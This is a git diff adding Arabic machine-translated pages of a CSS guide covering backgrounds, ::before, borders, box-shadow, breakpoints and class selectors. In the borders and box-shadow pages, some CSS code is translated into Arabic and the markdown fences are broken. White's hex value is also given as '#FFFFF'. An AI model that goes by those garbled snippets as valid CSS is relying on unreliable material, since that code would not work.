+لمزيد من المعلومات ، قم بزيارة [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/opacity) [خاصية Opacity CSS في CSS-Tricks](https://css-tricks.com/almanac/properties/o/opacity/)
+
+دعم المتصفح: [caniuse](https://caniuse.com/#search=opacity)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/background-size/index.md b/client/src/guide/arabic/css/background-size/index.md
new file mode 100644
index 0000000000..a50d7b8fce
--- /dev/null
+++ b/client/src/guide/arabic/css/background-size/index.md
@@ -0,0 +1,33 @@
+---
+title: Background Size
+localeTitle: حجم الخلفية
+---
+## حجم الخلفية
+
+تحدد خاصية حجم الخلفية حجم صور الخلفية. يمكنك تعيين طول أو نسبة ، مع القيمة الأولى هي العرض والثانية هي الارتفاع. يمكنك أيضًا استخدام إحدى قيم الكلمات الرئيسية الخمس:
+
+ `.auto {background-size: auto;} 
+ .cover {background-size: cover;} 
+ .contain {background-size: contain;} 
+ .initial {background-size: initial;} 
+ .inherit {background-size: inherit;} 
+ /* Percentage and pixel can also be used */ 
+ .pixel {background-size: 50px 50px;} 
+ .percentage {background-size: 50% 50%;} 
+` 
+
+لتعيين هذه الخاصية على صور خلفية متعددة ، قم بفصل القيم بفاصلة:
+
+ `.multiple { 
+    background-image: url(1.png), url(2.png); 
+    background-size: 3px 3px, cover; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+الوثائق: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/background-size)
+
+CSS-Tricks: [background-size](https://css-tricks.com/almanac/properties/b/background-size/)
+
+دعم المتصفح: [caniuse](http://caniuse.com/#search=background-size)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/background/index.md b/client/src/guide/arabic/css/background/index.md
new file mode 100644
index 0000000000..80f33c4ba8
--- /dev/null
+++ b/client/src/guide/arabic/css/background/index.md
@@ -0,0 +1,166 @@
+---
+title: Background
+localeTitle: خلفية
+---
+## خلفية
+
+تسمح لك خاصية الخلفية باستخدام الصور والألوان لإنشاء خلفيات لصفحات الويب الخاصة بك.
+
+### لون الخلفية
+
+تسمح لك خاصية لون الخلفية باختيار لون العنصر الخاص بك. يمكن أن يكون هذا خلفية الصفحة بأكملها أو خلفية أحد أقسام صفحتك.
+
+*   عنصر هو جزء من HTML مثل رأس أو فقرة في صفحة ويب.
+
+في ما يلي مثال على تعيين لون خلفية صفحة الويب باللون الأخضر.
+
+ `  body { 
+    background-color: green; 
+  } 
+` 
+
+![fullbackground](https://user-images.githubusercontent.com/26467304/31036038-845567f2-a538-11e7-8e6c-8a52bb0d44b8.png)
+
+فيما يلي مثال على تعيين الألوان لعنصرين. سيؤدي هذا إلى تعيين خلفية الرأس إلى اللون الأرجواني وبقية الصفحة باللون الأزرق.
+
+ `  body { 
+    background-color: blue; 
+  } 
+  h1 { 
+    background–color: purple; 
+  } 
+` 
+
+![twobackground](https://user-images.githubusercontent.com/26467304/31036152-0607936a-a539-11e7-9e9f-a5e60ade042d.png)
+
+في لون CSS يمكن تعريفه بثلاث طرق:
+
+*   اسم لون صالح مثل `blue`
+*   قيمة HEX مثل `#FFFFF` (هذه هي القيمة السداسي للأبيض).
+*   قيمة RGB مثل `rgb(76,175,80)` (هذه هي قيمة RGB للضوء الأخضر.)
+
+### صور الخلفية
+
+يمكنك استخدام خاصية صورة الخلفية لتعيين صورة كخلفية لعنصر. يتم تكرار الصورة افتراضيًا بحيث تغطي العنصر بأكمله.
+
+ `body { 
+  background-image: url("barn.jpg"); 
+ } 
+` 
+
+![صورة](https://user-images.githubusercontent.com/26467304/31036366-eb1fc260-a539-11e7-835d-e3f935a22c86.png)
+
+يمكنك أيضًا ربط الصور أو صور gif التي تعثر عليها عبر الإنترنت باستخدام رابطها (على سبيل المثال ، من صور Google البحث).
+
+ `body { 
+  background-image: url("https://mdn.mozillademos.org/files/11983/starsolid.gif"); 
+ } 
+` 
+
+### صورة الخلفية - خاصية التكرار
+
+تتكرر صورة الخلفية عموديًا (أعلى وأسفل) وأفقياً (عبر صفحة الويب) افتراضيًا. يمكنك استخدام خاصية تكرار الخلفية لتكرار الصورة عموديًا أو أفقيًا.
+
+إليك مثال يكرر الصورة عموديًا.
+
+ `body { 
+  background-image: url("barn.jpg"); 
+  background-repeat: repeat-y; 
+ } 
+` 
+
+![عمودي](https://user-images.githubusercontent.com/26467304/31039770-8962c7a6-a54e-11e7-9d25-4fb09760d219.PNG)
+
+يمكنك تكرار الصورة أفقيًا عن طريق تعيين الخاصية background-repeat إلى "repeat-x".
+
+ `body { 
+  background-image: url("barn.jpg"); 
+  background-repeat: repeat-x; 
+ } 
+` 
+
+يمكنك أيضًا استخدام خاصية تكرار الخلفية لتعيين صورة لعدم تكرارها.
+
+ `body { 
+  background-image: url("barn.jpg"); 
+  background-repeat: no-repeat; 
+ } 
+` 
+
+![norepeat](https://user-images.githubusercontent.com/26467304/31039801-c8761efc-a54e-11e7-8bb9-ec5b88885a50.PNG)
+
+### صورة الخلفية - خاصية الموقع
+
+يمكنك استخدام خاصية الموضع لتحديد مكان صورتك على صفحة الويب.
+
+ `body { 
+  background-image: url("barn.jpg"); 
+  background-repeat: no-repeat; 
+  background-position: right top; 
+ } 
+` 
+
+![موضع](https://user-images.githubusercontent.com/26467304/31039828-077d1038-a54f-11e7-8aa6-092253ca92b8.PNG)
+
+### صورة الخلفية - الموقف الثابت
+
+يمكنك استخدام خاصية "إرفاق الخلفية" لتعيين صورة إلى موضع ثابت. يجعل موقع ثابت الصورة بحيث لا يتم التمرير مع باقي الصفحة.
+
+ `body { 
+  background-image: url("barn.jpg"); 
+  background-repeat: no-repeat; 
+  background-position: right top; 
+  background-attachment: fixed; 
+ } 
+` 
+
+![ثابت](https://user-images.githubusercontent.com/26467304/31039859-39612c92-a54f-11e7-93ca-9d7bcb938225.PNG)
+
+### تدرجات الخلفية
+
+التدرج هو انتقال بين لونين أو أكثر ويمكن استخدامه عبر CSS مماثل لصورة الخلفية.
+
+يمكن أن تكون بنية الخلفية المتدرجة معقدة تمامًا وغالبًا ما يتم استخدامها مع بادئات البائعين بسبب التناقضات بين المتصفحات المدعومة.
+
+يعد [Colorzilla Gradient Editor](http://www.colorzilla.com/gradient-editor/) أداة رائعة عبر الإنترنت لإنشاء التدرجات المخصصة وترميز css المرتبط.
+
+### الخلفية - خاصية الاختزال
+
+يمكنك كتابة خصائص الخلفية على سطر واحد. وهذا ما يسمى خاصية الاختزال.
+
+ `body { 
+  background: url("barn.jpg") no-repeat right top; 
+ } 
+` 
+
+يمكنك ترك الممتلكات التي لا تحتاج إليها عند استخدام خاصية الاختزال ، ولكن الخصائص يجب استخدامها في ترتيب معين. الترتيب هو:
+
+*   اللون
+*   صورة
+*   كرر
+*   المرفق
+*   موضع
+
+### صور خلفية متعددة
+
+يمكنك تحديد صور خلفية متعددة في خاصية خلفية واحدة.
+
+ `body { 
+  background: url("barn.jpg"), url("stars.jpg"), linear-gradient(rgba(0, 0, 255, 0.5), rgba(255, 255, 0, 0.5)); 
+ } 
+` 
+
+الصورة الأولى (أو التدرج) المحددة هي الأكثر في الأعلى ، والثانية تأتي بعدها ، وهكذا. إذا كان أحد العناصر غير صحيح بسبب عنوان URL الخاص به أو بناء الجملة الخاص به ، فسيتم تجاهل السطر بأكمله بواسطة المستعرض.
+
+### بعض خصائص الخلفية الأساسية لل CSS
+
+يتم استخدام خصائص خلفية CSS لتعريف تأثيرات الخلفية للعناصر.
+
+خصائص خلفية CSS: لون الخلفية الصورة الخلفية تكرار الخلفية مرفق الخلفية خلفية موقف
+
+يمكنك الرجوع إلى الرابط التالي إلى مدارس W3 لمعرفة المزيد عن الخلفية والأشياء ذات الصلة في CSS. [مرجع الخلفية إلى W3](https://www.w3schools.com/css/css_background.asp)
+
+### موارد آخرى
+
+*   [قائمة قيم اللون](http://cloford.com/resources/colours/500col.htm)
+*   [أداة Color Picker](http://colrd.com/create/palette/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/before-selector/index.md b/client/src/guide/arabic/css/before-selector/index.md
new file mode 100644
index 0000000000..e679f5907a
--- /dev/null
+++ b/client/src/guide/arabic/css/before-selector/index.md
@@ -0,0 +1,62 @@
+---
+title: Before Selector
+localeTitle: قبل المختار
+---
+## قبل المختار
+
+يمكن استخدام CSS **:: before** selector لإدراج أي شيء قبل المحتوى لعنصر أو عناصر. يسمح للمصممين بتنفيذ أي تصميم css قبل المحتوى في عنصر. يتم استخدامه من خلال إرفاق **:: قبل** العنصر الذي سيتم استخدامه عليه.
+
+لنلق نظرة على بعض الأمثلة:
+
+ `p::before { 
+    content: ""; 
+    border: solid 5px #ccc 
+ } 
+ 
+ span.comment::before{ 
+  content: "Comment: "; 
+  color: blue; 
+ } 
+` 
+
+ `
+<p> To infinity and beyond</p> 
+ <p> I am buz lightyear, I come in peace.</p> 
+ 
+ <span class="comment"> May the force be with you</span> 
+ <br/> 
+ <span> Do. Or do not. There is no try</span> 
+` 
+
+في المثال أعلاه ، سنقوم بترقيم حدود رمادية قبل كل عنصر فقرة في الصفحة ، ونحن نقوم أيضًا بإضافة كلمة "تعليق" باللون الأزرق قبل كل عنصر في الامتداد مع تعليق الفصل.
+
+> يمكنك الاطلاع على هذا العرض التوضيحي هنا https://jsfiddle.net/398by400/
+
+#### التعريف والاستخدام
+
+`::before` واحد من محددات CSS pseudo-elements ، والتي تستخدم لتصميم أجزاء محددة من عنصر. في هذه الحالة ، يمكننا إدراج المحتوى قبل بعض عناصر HTML من CSS. على الرغم من أننا سنرى المحتوى في الصفحة ، إلا أنه ليس جزءًا من DOM ، ما يعني أنه لا يمكننا التلاعب به من Javascript. حيلة واحدة لحل هذا العائق: تمرير المحتوى باستخدام سمة بيانات واستخدام jQuery للتلاعب به. هذا مثال على الاستخدام:
+
+ `   p::before { 
+     content: "Hello "; 
+   } 
+` 
+
+ `
+<p>world!!</p> 
+` 
+
+هذا سيظهر `Hello world!!` في الصفحة.
+
+لا يمكن فقط إدراج السلاسل أو الصور أو العدادات أو حتى أي شيء ("" ، مفيدة لـ clearfix) في attibute `content` ، ولكن **ليس HTML** . هناك عدد كبير من الأشياء الرائعة التي يمكن إجراؤها باستخدام `::before` `after` بطريقة إبداعية. يمكنك إلقاء نظرة على الرابط التالي إذا كنت تشعر بالفضول: [مجموعة كاملة من الأشياء المدهشة يمكن أن تقوم بها عناصر الزائفة](https://www.w3schools.com/css/css_pseudo_elements.asp)
+
+#### وحيد القولون مقابل نقرا مزدوجا
+
+هناك القليل من النقاش حول الطريقة الصحيحة لاستخدام العناصر الزائفة: النقطتين المفصليتين القديمتين ( `:before` ) ، المستخدمتين في مواصفات CSS 1 و 2 ، مقابل إعادة التوصية CSS3 ، النقطتين المزدوجتين ( `::before` ) ، بشكل أساسي إلى _"إنشاء التمييز بين الطبقات الزائفة والعناصر الزائفة "_ . ولكن لأسباب التوافق ، لا يزال يتم قبول القولون المفرد. يتحدث عن التوافق ، يدعم IE8 تدوين القولون المفرد فقط.
+
+#### معلومات اكثر:
+
+[W3Schools CSS Pseudo-elements](https://www.w3schools.com/css/css_pseudo_elements.asp)
+
+[CSS-Tricks :: after / :: before](https://css-tricks.com/almanac/selectors/a/after-and-before/)
+
+[تحديد ومعالجة عناصر زائفة CSS مثل :: before و :: after jQuery](https://stackoverflow.com/questions/5041494/selecting-and-manipulating-css-pseudo-elements-such-as-before-and-after-usin)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/borders/index.md b/client/src/guide/arabic/css/borders/index.md
new file mode 100644
index 0000000000..fe7e20ec49
--- /dev/null
+++ b/client/src/guide/arabic/css/borders/index.md
@@ -0,0 +1,116 @@
+---
+title: Border Property
+localeTitle: الملكية الحدودية
+---
+## الملكية الحدودية
+
+## حدود CSS
+
+تتيح لك سمة CSS الشخصية المفضلة لدينا تخصيص الحدود بالكامل التي تظهر حول عناصر HTML. باستخدام HTML ، كان من المستحيل وضع حدود حول عنصر ما ، باستثناء الجدول. تتيح لك "حدود CSS" إنشاء أنماط حدود مخصصة ونقية مع القليل جدًا من العمل مقارنةً بالطرق القديمة لـ HTML.
+
+تعيين الخاصية اختزال `border` كافة خصائص الحدود في تصريح واحد. \`\` \`المغلق border: 1px solid # 000؛
+
+ ``The properties that can be set, are (in order): 
+ 1. `border-style` 
+ 2. `border-width` 
+ 3. `border-color` 
+ 4. `border-radius` 
+ 
+ It does not matter if one of the values above are missing, for example: 
+`` 
+
+المغلق border: red red؛
+
+ ``The above code is also valid CSS. 
+ 
+ ### Border Styles 
+ 
+ The `border-style` property sets a wide range of different types of borders. 
+ 
+ The various values are: 
+ - `dotted` - Sets a dotted border. 
+ - `dashed` - Sets a dashed border. 
+ - `solid` - Sets a solid border. 
+ - `double` - Sets a double border. 
+ - `groove` - Sets a 3D grooved border. 
+ - `ridge` - Sets a 3D ridged border. 
+ - `inset` - Sets a 3D inset border. 
+ - `outset` - Sets a 3D outset border. 
+ - `none` - Sets no border. 
+ - `hidden` - Sets a hidden border. 
+ 
+ Based on the property you choose, these styles can be mismatched. 
+ You can style each side seperately: 
+`` 
+
+المغلق نمط الحد الأعلى: صلب ؛ border-left-style: منقط ؛ border-right-style: dashed؛ نمط الحد السفلي: مزدوج ؛
+
+ `Or you can style them all at once: 
+` 
+
+المغلق نمط الحدود: الصلبة متقطعة مزدوجة منقط ؛
+
+ `As shown, the border property allows you to select different sections of it. [top, bottom, left, right] 
+ 
+ ### Border Width 
+ 
+ To alter the thickness of your border use the border-width attribute. You may use key terms or exact values to define the border width. Note: You must 
+ define a border-style for the border to show up. The width can be set as a specific size (in px, pt, cm, em, etc) or by using one of the three pre-defined 
+ values: thin, medium, or thick. 
+ 
+ Example: 
+` 
+
+المغلق
+
+table { border-width: 7px; border-style: outset; } td { border-width: medium; border-style: outset; } p { border-width: thick; border-style: solid; }
+
+ `### Border Color 
+ 
+ Now for the creative aspect of CSS Borders! With the use of the border-color attribute, you will be able to create customized borders to fit the flow and layout 
+ of your website. Border colors can be any color defined by RGB, hexadecimal, or key terms. Below is an example of each of these types. 
+ 
+ Example: 
+` 
+
+المغلق
+
+table { border-color: rgb( 100, 100, 255); border-style: dashed; } td { border-color: #FFBD32; border-style: ridge; } p { border-color: blue; border-style: solid; }
+
+ ``### Border-Radius 
+ The `border-radius` property allows the corners of a border to be rounded. This is done by providing a size for 
+ how much the border is to be rounded. Size can be in px or %. 
+`` 
+
+المغلق border-radius: 25px؛
+
+ ``Each corner of `border-radius` can be adjusted. The order is top, bottom, left, right. 
+`` 
+
+المغلق border-radius: 15٪ 10px 30٪ 5px؛
+
+ `### Border: All in One 
+ 
+ While it is nice that CSS allows a web developer to be very specific in creating a customized border, sometimes it is just easier and less of a headache to create a uniform border, all in single line of CSS code. 
+ 
+ Example: 
+` 
+
+المغلق
+
+p { border: 20px outset blue; } h4 { border: 5px solid; } h5 { border: dotted; }
+
+\`\` \`
+
+### معلومات اكثر:
+
+*   [وثائق MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/border)
+*   [CSS3 الحدود الشعاع](https://guide.freecodecamp.org/css/css3-borders-rounded-corners)
+
+### سمات الحدود الأخرى
+
+*   "border-radius" - هذا يمكن أن يحدد نصف قطر الحدود.
+*   "تباعد الحدود" - يمكن أن يؤدي ذلك إلى تعيين التباعد بين النص والحدود.
+*   'border-image' - يقوم هذا بتعيين صورة كحدود.
+
+دعم المتصفح: IE6 +
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/box-shadow/index.md b/client/src/guide/arabic/css/box-shadow/index.md
new file mode 100644
index 0000000000..f723e4a939
--- /dev/null
+++ b/client/src/guide/arabic/css/box-shadow/index.md
@@ -0,0 +1,81 @@
+---
+title: Box Shadow
+localeTitle: صندوق الظل
+---
+## صندوق الظل
+
+تقوم خاصية `box-shadow` بإرفاق ظلال أو أكثر حول إطار عنصر (يمكن أن تكون بداخله). إنه خيار يمنحك القدرة على تصميم تأثيرات الظل الرائعة بسهولة. تُعد ظلال Box طريقة رائعة لرفع مستوى صور صفحتك على الويب.
+
+يمكن وصف ظل صندوق بالعديد من الخصائص بما في ذلك:
+
+*   X و Y offset من العنصر
+*   ضبابية وانتشار نصف القطر
+*   اللون
+
+### بناء الجملة:
+
+ ``  div { 
+    box-shadow: none | [inset? && [ <offset-x> <offset-y> <blur-radius>? <spread-radius>? <color>? ] ]# 
+    } 
+  ``` 
+ * #### inset (default: none) 
+ If not specified, the shadow is assumed to be a drop shadow (as if the box were raised above the content). 
+ The presence of the `inset` keyword changes the shadow to one inside the frame 
+ 
+ * #### offset-x offset-y 
+ These are two `length` values to set the shadow offset. <offset-x> specifies the horizontal distance. Negative values place the shadow to the left of the element. `offset-y` specifies the vertical distance. Negative values place the shadow above the element. See `length` for possible units. 
+ 
+ * #### blur-radius (default: 0) 
+ This is a third `length` value. The larger this value, the bigger the blur, so the shadow becomes bigger and lighter. Negative values are not allowed. If not specified, it will be 0 (the shadow's edge is sharp). 
+ 
+ * #### spread-radius (default: 0) 
+ This is a fourth <length> value. Positive values will cause the shadow to expand and grow bigger, negative values will cause the shadow to shrink. If not specified, it will be 0 (the shadow will be the same size as the element). 
+ 
+ * #### color 
+ This value is used to set the color of the shadow, usually defined with hex `#000000`, rgba value `rgba(55,89,88,0.8)` or rgb value `rgb(55,89,88)` 
+ 
+ #### Extended 
+ 
+ To maximize compatibility, it is recommended that you declare box shadow property for `moz-appearance` and `webkit`, this extends the normal syntax to: 
+`` 
+
+المغلق شعبة { مربع الظل: لا شيء \[أقحم؟ && \[ ؟ ؟ ؟ \]\] # -moz-box-shadow: none | \[أقحم؟ && \[ ؟ ؟ ؟ \]\] # -webkit-box-shadow: لا شيء \[أقحم؟ && \[ ؟ ؟ ؟ \]\] # }
+
+ `However, this step can be ignored if it is creating confusion, as moz property and webkit property will only work in specific applications such as Firefox, and are not on a standards track. 
+ 
+ ### Examples 
+ 
+ #### Basic use 
+` 
+
+المغلق div { العرض: 200 بكسل ؛ الارتفاع: 50 بكسل ؛ لون الخلفية: # 333 ؛ box-shadow: 10px 10px 5px #ccc؛ }
+
+ `10px - offset-x 
+ 10px - offset-y 
+ 5px -  blur 
+ #ccc - light gray color 
+ 
+ It will display 
+ 
+ ![image](https://raw.githubusercontent.com/krzysiekh/images/master/box-shadow1.png) 
+ 
+ #### Inside box shadow 
+` 
+
+المغلق div { العرض: 200 بكسل ؛ الارتفاع: 50 بكسل ؛ لون الخلفية: # 333 ؛ box-shadow: inset 10px 10px 5px #ccc؛ }
+
+ `It uses very similar code, but with inset value, which displays shadow inside the div element 
+ 
+ ![image](https://raw.githubusercontent.com/krzysiekh/images/master/box-shadow2.png) 
+ 
+ 
+ #### Multiple box shadows 
+` 
+
+المغلق div { العرض: 200 بكسل ؛ الارتفاع: 50 بكسل ؛ لون الخلفية: # 333 ؛ box-shadow: inset 10px 10px 5px #ccc، 10px 10px 5px #ccc؛ } \`\` \`
+
+يمكنك الجمع بين الجزأين السابقين من ظلال مربع باستخدام فاصلة للحصول على عدة ظلال مربع في نفس div
+
+#### معلومات اكثر
+
+*   المستندات: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/box-shadow)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/breakpoints/index.md b/client/src/guide/arabic/css/breakpoints/index.md
new file mode 100644
index 0000000000..f568753c7f
--- /dev/null
+++ b/client/src/guide/arabic/css/breakpoints/index.md
@@ -0,0 +1,187 @@
+---
+title: Breakpoints
+localeTitle: نقاط
+---
+## نظرة عامة
+
+نقطة توقف CSS هي نقطة محددة يتغير فيها تخطيط موقع الويب ، بناءً على [استعلام الوسائط](https://guide.freecodecamp.org/css/css3-media-queries) تصبح نشطة.
+
+بشكل عام ، يمكنك تحديد نقطة توقف عندما تريد إعادة تهيئة تخطيط موقع الويب إلى حجم إطار عرض المستعرض ؛ في الغالب ، إلى عرض إطار العرض.
+
+على سبيل المثال ، إذا كان محتوى موقعك الإلكتروني يبدو رائعًا على إطار عرض ضيق (كما هو الحال في متصفح الهاتف الذكي) ، إلا أنه يبدأ في الظهور على شاشات أكبر حجمًا (على سبيل المثال ، قد يكون حجم الخطوط صغيرًا جدًا ويصعب قراءته) ، قد ترغب في تقديم نقطة توقف جديدة للشاشات الأكبر التي تجعل الخطوط أكبر:
+
+يمكن اعتبار CSS Breakpoints أساس تصميم الويب المتجاوب لأنه يحدد كيفية تصرف المحتوى أو يتم ترتيبه في عرض / مقياس جهاز مختلف يسمح لك بعرض أفضل تخطيط ممكن للمستخدم.
+
+![مثال](https://getflywheel.com/wp-content/uploads/2018/02/css-breakpoints-layouts-01.jpg)
+
+## ضبط نقاط الاستراحة
+
+يتم تعيين breakpoints بشكل واسع على أساس أي مما يلي.
+
+*   نقاط التوقف حسب عرض الجهاز.
+*   نقاط التوقف على أساس المحتوى.
+
+### نقاط التوقف حسب عرض الجهاز
+
+من الواضح تمامًا أن جميع أجهزتنا لا تمتلك نفس عرض / أحجام الشاشة. هو الآن قرار تصميم لتضمين مجموعة من أجهزة معينة ورمز قواعد css وفقًا لذلك. لدينا بالفعل أجهزة كافية للقلق ، وعندما يخرج جهاز جديد بعرض مختلف ، فإن الرجوع إلى CSS الخاص بك وإضافة نقطة توقف جديدة من جديد يستهلك الكثير من الوقت.
+
+وهنا مثال على ذلك
+
+ `/* ----------- iPhone 6, 6S, 7 and 8 ----------- */ 
+ 
+ /* Portrait */ 
+ 
+ @media only screen 
+ 
+ and (min-device-width: 375px) 
+ 
+ and (max-device-width: 667px) 
+ 
+ and (-webkit-min-device-pixel-ratio: 2) 
+ 
+ and (orientation: portrait) { 
+ 
+ } 
+ 
+ /* Landscape */ 
+ 
+ @media only screen 
+ 
+ and (min-device-width: 375px) 
+ 
+ and (max-device-width: 667px) 
+ 
+ and (-webkit-min-device-pixel-ratio: 2) 
+ 
+ and (orientation: landscape) { 
+ 
+ } 
+ 
+ /* ----------- Google Pixel ----------- */ 
+ 
+ /* Portrait */ 
+ 
+ @media screen 
+ 
+ and (device-width: 360px) 
+ 
+ and (device-height: 640px) 
+ 
+ and (-webkit-device-pixel-ratio: 3) 
+ 
+ and (orientation: portrait) { 
+ 
+ } 
+ 
+ /* Landscape */ 
+ 
+ @media screen 
+ 
+ and (device-width: 360px) 
+ 
+ and (device-height: 640px) 
+ 
+ and (-webkit-device-pixel-ratio: 3) 
+ 
+ and (orientation: landscape) { 
+ 
+ } 
+` 
+
+> مع هذا النهج ، سوف ينتهي بك الأمر وجود قائمة ضخمة من الاستفسارات الإعلامية.
+
+### نقاط التوقف على أساس المحتوى
+
+هذا هو الخيار المفضل أثناء إجراء أو كتابة قواعد نقطة الإيقاف. لأنه من الأسهل ضبط المحتوى وفقًا لتخطيط معين فقط عندما يتطلب تغييرًا.
+
+ `@media only screen (min-width: 768px){ 
+ ... 
+ } 
+` 
+
+> تعني نقطة الإيقاف هذه أنه سيتم تطبيق CSS عندما يكون عرض الجهاز 768 بكسل وما فوق.
+
+#### يمكنك أيضًا تعيين نطاق بنقاط توقف ، بحيث لا يتم تطبيق CSS إلا ضمن هذه الحدود.
+
+ `@media only screen and (min-width: 768px) and (max-width: 959px){ 
+ 
+ ... 
+ 
+ } 
+` 
+
+**ملحوظة** حاول دائمًا إنشاء نقاط توقف استنادًا إلى المحتوى الخاص بك وليس إلى الأجهزة. تقسيمها إلى عرض منطقي بدلاً من عرض عشوائي والاحتفاظ بها إلى عدد يمكن إدارتها ، لذلك يبقى التعديل بسيطة وواضحة.
+
+تكون **نقاط التوقف CSS** مفيدة عندما تريد تحديث الأنماط استنادًا إلى حجم الشاشة. على سبيل المثال ، من جهاز قياس عرض 1200 بكسل وما فوق ، استخدم `font-size: 20px;` أو ما عدا ذلك ، استخدم `font-size: 16px;` .
+
+ما بدأناه هو من عرض أكبر من 1200 بكسل ، وهو عرض شاشة الكمبيوتر المحمول الشائعة. قد تلاحظ أيضًا أننا قد ذكرنا "أكبر من" ، مما يعني أننا نستخدم طريقة مثل " **if-then** ".
+
+دعونا نحولها إلى رمز CSS:
+
+ `.text1 { 
+    font-size: 16px; 
+ } 
+ @media (min-width: 1200px) { 
+    .text1 { 
+        font-size: 20px; 
+    } 
+ } 
+` 
+
+**للراحة لدينا،** وكتابة `.text1` التصميم الأساسي أولا ... ثم بعد ذلك سنقوم تحديد `@media` القواعد.
+
+**تلميح** : قد تشاهد على إطار CSS مشترك يسمى "Bootstrap" ، حيث أنها تبنت **"min-width" وأعلى** في Bootstrap v4.0 ، بالمقارنة مع Bootstrap v3.0 القديمة باستخدام **"max-width" و down** . هذا مجرد **تفضيل** ، ولا حرج في قول " _هذا_ الحجم وأقل من" مقابل " _هذا_ الحجم وأكبر من".
+
+من الجيد تمامًا استخدام `@media (max-width) {}` . هنا مثال:
+
+ `.text1 { 
+    font-size: 20px; 
+ } 
+ @media (max-width: 1199px) { 
+    font-size: 16px; 
+ } 
+` 
+
+ `// Normal, basic styles 
+ // that look great on small screens 
+ // but not on bigger screens 
+ body { 
+  font-size: 16px; 
+ } 
+ 
+ // Define a new breakpoint, with a media query. 
+ // In this case, for when the viewport's width 
+ // is at least 512px wide. 
+ @media (min-width: 512px) { 
+    body { 
+        font-size: 20px; 
+    } 
+ } 
+` 
+
+نقاط التوقف المستندة إلى محتوى بدلاً من الجهاز تكون أقل تعقيدًا. إليك مقتطف بسيط يتم `code 700px` عندما يكون عرض الجهاز أعلى من حجم شاشة الهاتف الذكي بحجم `code 700px` تقريبًا
+
+ `@media only screen and (min-width: 700px) { 
+  something { 
+    something: something; 
+  } 
+ } 
+` 
+
+يمكنك أيضًا تعيين الحد الأدنى والحد الأقصى للعرض ، والذي يتيح لك إجراء التجارب باستخدام نطاقات مختلفة. هذا واحد تقريبا يطلق بين الهاتف smar وأكبر حجم سطح المكتب وأحجام الشاشة
+
+ `@media only screen and (min-width: 700px) and (max-width: 1500px) { 
+  something { 
+    something: something; 
+  } 
+ } 
+` 
+
+#### معلومات اكثر:
+
+*   [نقاط توقف متجاوبة](https://getbootstrap.com/docs/4.1/layout/overview/#responsive-breakpoints)
+*   [مقالة freecodecamp.org حول استخدام نقاط توقف CSS](https://medium.freecodecamp.org/the-100-correct-way-to-do-css-breakpoints-88d6a5ba1862)
+*   [استعلامات الوسائط CSS3](https://guide.freecodecamp.org/css/css3-media-queries)
+*   [تحديد نقاط التوقف](https://responsivedesign.is/strategy/page-layout/defining-breakpoints/)
+*   [CSS-Tricks:media queries](https://css-tricks.com/snippets/css/media-queries-for-standard-devices/)
+*   [w3schools: نقاط توقف الجهاز النموذجية](https://www.w3schools.com/howto/howto_css_media_query_breakpoints.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/class-selector/index.md b/client/src/guide/arabic/css/class-selector/index.md
new file mode 100644
index 0000000000..142feb21fb
--- /dev/null
+++ b/client/src/guide/arabic/css/class-selector/index.md
@@ -0,0 +1,60 @@
+---
+title: Class Selector
+localeTitle: اختيار الطبقة
+---
+## اختيار الطبقة
+
+يُستخدم Class Selector في ملف CSS لتطبيق النمط على عناصر HTML مع اسم الفئة المطابق. في HTML ، يمكنك تعيين اسم الفئة لأي عنصر عن طريق إضافة سمة "class".
+
+لتحديد عناصر بفئة محددة ، نستخدم الحرف (.) المسمى كحرف فترة ، مع اسم الفئة.
+
+فمثلا .مركز { محاذاة النص: مركز؛ لون احمر؛ }
+
+هنا ، ستكون جميع عناصر HTML ذات `class="center"` باللون الأحمر ومحاذاة إلى الوسط.
+
+أمثلة:
+
+ `
+<h1 class="test">This is a heading 1</h1> 
+ <p class="test">This is a paragraph 1</p> 
+ <h2 class="test">This is a heading 2</h2> 
+ <p class="test">This is a paragraph 2</p> 
+ <div class="test2 test3">This is a div 1</div> 
+` 
+
+نظرًا لأن اسم الفئة ليس فريدًا ، فإن سمة فئة HTML تجعل من الممكن تعريف أنماط متساوية للعناصر التي تحمل نفس اسم الفئة. **فيما يلي كيفية تحديد الطبقة في ملف CSS لعناصر النمط (لاحظ تدوين.):**
+
+**سيتم تطبيق جميع عناصر `test` الصف باستخدام هذا النمط:**
+
+ `.test { 
+  color: green; 
+ } 
+` 
+
+**سيتم تطبيق جميع عناصر `<p>` `test` الصف باستخدام هذا النمط:**
+
+ `p.test { 
+  border: 1px solid black; 
+  color: red; 
+ } 
+` 
+
+**سيتم تطبيق جميع عناصر `<h1>` و `<h2>` `test` الصف باستخدام هذا النمط:**
+
+ `h1.test, h2.test { 
+  color: blue; 
+ } 
+` 
+
+**سيتم تطبيق جميع العناصر التي تشتمل على كلا النوعين `test2` و `test3` مع هذا النمط:**
+
+ `.test2.test3 { 
+  color: green; 
+ } 
+` 
+
+**نصائح: لا توجد مساحة بين فئات متعددة.**
+
+#### معلومات اكثر:
+
+CSS Syntax و Selectors: [w3schools](https://www.w3schools.com/css/css_syntax.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/colors/index.md b/client/src/guide/arabic/css/colors/index.md
new file mode 100644
index 0000000000..b6617ecd67
--- /dev/null
+++ b/client/src/guide/arabic/css/colors/index.md
@@ -0,0 +1,89 @@
+---
+title:  CSS3 Colors
+localeTitle:  ألوان CSS3
+---
+## الألوان
+
+CSS Colors هي وحدة CSS تتعامل مع الألوان وأنواع الألوان ومزج الألوان والعتامة. ليست كل خصائص CSS التي تأخذ كقيمة جزء من هذه الوحدة ، لكنهم يعتمدون عليها. في CSS ، يمكنك تغيير لون أي عنصر تقريبًا في صفحة HTML الخاصة بك. تقوم خصائص مثل `background-color` `color` `border-color` بتعيين لون تلك العناصر.
+
